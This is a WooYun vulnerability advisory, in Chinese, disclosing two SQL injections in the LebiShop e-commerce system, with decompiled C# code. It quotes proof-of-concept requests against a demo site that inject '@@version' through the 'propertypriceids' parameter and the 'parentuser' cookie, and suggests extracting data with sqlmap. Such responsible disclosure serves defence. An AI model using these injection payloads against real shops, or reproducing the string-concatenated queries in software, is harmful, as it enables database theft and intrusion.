当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092791

漏洞标题:LebiShop商城系统最新版两处SQL注入二

相关厂商:www.lebi.cn

漏洞作者: xfkxfk

提交时间:2015-01-23 11:28

修复时间:2015-04-23 11:28

公开时间:2015-04-23 11:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-23: 细节已通知厂商并且等待厂商处理中
2015-01-26: 厂商已经确认,细节仅向厂商公开
2015-01-29: 细节向第三方安全合作伙伴开放
2015-03-22: 细节向核心白帽子及相关领域专家公开
2015-04-01: 细节向普通白帽子公开
2015-04-11: 细节向实习白帽子公开
2015-04-23: 细节向公众公开

简要描述:

LebiShop商城系统最新版两处SQL注入二

详细说明:

LebiShop商城系统最新版两处SQL注入
第一处SQL注入
/ajax/ajax_user.aspx
对应反编译后的文件shop.ajax.ajax_user.UserProduct_Edit方法

// Shop.Ajax.Ajax_user
public void UserProduct_Edit()
{
int t = RequestTool.RequestInt("type", 141);
int num = RequestTool.RequestInt("num", 1);
int pid = RequestTool.RequestInt("pid", 0);
string property = RequestTool.RequestString("property");
string propertypriceids = RequestTool.RequestString("propertypriceids");
int warndays = RequestTool.RequestInt("warndays", 0);
if (t != 141 && t != 142 && t != 143 && t != 144)
{
base.Response.Write("{\"msg\":\"OK\"}");
return;
}
if ((t == 141 || t == 144) && this.CurrentUser.id == 0)
{
base.Response.Write(string.Concat(new string[]
{
"{\"msg\":\"",
base.Tag("请先登陆"),
"\",\"url\":\"",
base.URL("P_Login", ""),
"\"}"
}));
return;
}
EX_User.UserProduct_Edit(this.CurrentUser, pid, num, t, property, warndays, propertypriceids);


注意这里的propertypriceids通过RequestTool.RequestString方法获取
最后进入了EX_User.UserProduct_Edit函数,跟进

// Shop.Bussiness.EX_User
public static void UserProduct_Edit(Lebi_User CurrentUser, int pid, int num, int t, string property, int warndays, string propertypriceids)
{
string CookieName = "UserProduct" + t;
Lebi_Product pro = EX_Product.GetProduct(pid);
if (pro == null)
{
return;
}
if ((pro.Type_id_ProductType == 321 || pro.Type_id_ProductType == 322) & (DateTime.Now < pro.Time_Start || DateTime.Now > pro.Time_Expired))
{
return;
}
if (CurrentUser.id <= 0)
{
NameValueCollection nv = CookieTool.GetCookie(CookieName);
string key = "p" + pro.id.ToString();
property = HttpUtility.UrlEncode(property);
string userproduct = nv.Get(key);
if (string.IsNullOrEmpty(userproduct))
{
nv.Add(key, num.ToString() + "|" + property);
}
else
{
nv.Set(key, num.ToString() + "|" + property);
}
CookieTool.WriteCookie(CookieName, nv, 1);
return;
}
Lebi_User_Product upro = B_Lebi_User_Product.GetModel(string.Concat(new object[]
{
"user_id=",
CurrentUser.id,
" and product_id=",
pid,
" and type_id_UserProductType=",
t
}));
decimal propertyprice = 0m;
if (propertypriceids != "")
{
List<Lebi_ProPerty> ps = B_Lebi_ProPerty.GetList("id in (" + propertypriceids + ")", "");
foreach (Lebi_ProPerty p in ps)
{
propertyprice += p.Price;
}
}


如果propertypriceids不为空

B_Lebi_ProPerty.GetList("id in (" + propertypriceids + ")", "");


propertypriceids进入了B_Lebi_ProPerty.GetList方法
而且propertypriceids在进入in条件语句时,没有进行处理
导致在GetList中propertypriceids没有处理,导致sql注入
发送请求:

http://demo.lebi.cn/ajax/ajax_user.aspx?__action=UserProduct_Edit&url=/
type=141&propertypriceids=@@version


1.png


2.png


使用SQLmap即可跑出数据
第二处SQL注入

// Shop.Ajax.Ajax_user
public void User_Reg()
{
string verifycode = RequestTool.RequestString("verifycode");
string code = CookieTool.GetCookieString("CheckCodef");
if (code != verifycode)
{
base.Response.Write("{\"msg\":\"" + base.Tag("验证码错误") + "\"}");
return;
}
string UserName = RequestTool.RequestString("UserName");
string PWD = RequestTool.RequestString("Password");
int count = B_Lebi_User.Counts("UserName='" + UserName + "'");
if (count > 0)
{
base.Response.Write("{\"msg\":\"" + base.Tag("用户名已注册") + "\"}");
return;
}
NameValueCollection nv = CookieTool.GetCookie("parentuser");
int parentuserid = 0;
if (!string.IsNullOrEmpty(nv.Get("id")))
{
string parentuserid_ = nv.Get("id");
Lebi_User puser = B_Lebi_User.GetModel("id=" + parentuserid_);
if (puser != null && this.SYS.IsUsedAgent == "1" && B_API.Check("plugin_agent"))
{
parentuserid = puser.id;
puser.Count_sonuser++;
B_Lebi_User.Update(puser);
}
}


注意这里
nv = CookieTool.GetCookie("parentuser");
从cookie中获取parentuser的值
然后如果nv中存在id的键值,则
parentuserid_ = nv.Get("id");
最后parentuserid_进入B_Lebi_User.GetModel("id=" + parentuserid_);
由于在GetModel中,id= parentuserid_,没有处理,也没有单引号保护,导致sql注入
在发送请求

http://demo.lebi.cn/ajax/ajax_user.aspx?__Action=User_Reg&url=/
UserName=111111asdf&Password=111111&Password1=111111&Email=111111%40111.com&verifycode=02025&RealName=&Sex=%E7%94%B7&Birthday=&MobilePhone=&Phone=&Fax=&QQ=


设置cookie

parentuser=id=1 and id=@@version


3.png

漏洞证明:

修复方案:

过来,int

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-01-26 15:09

厂商回复:

漏洞已修复,感谢

最新状态:

暂无


漏洞评价:

评论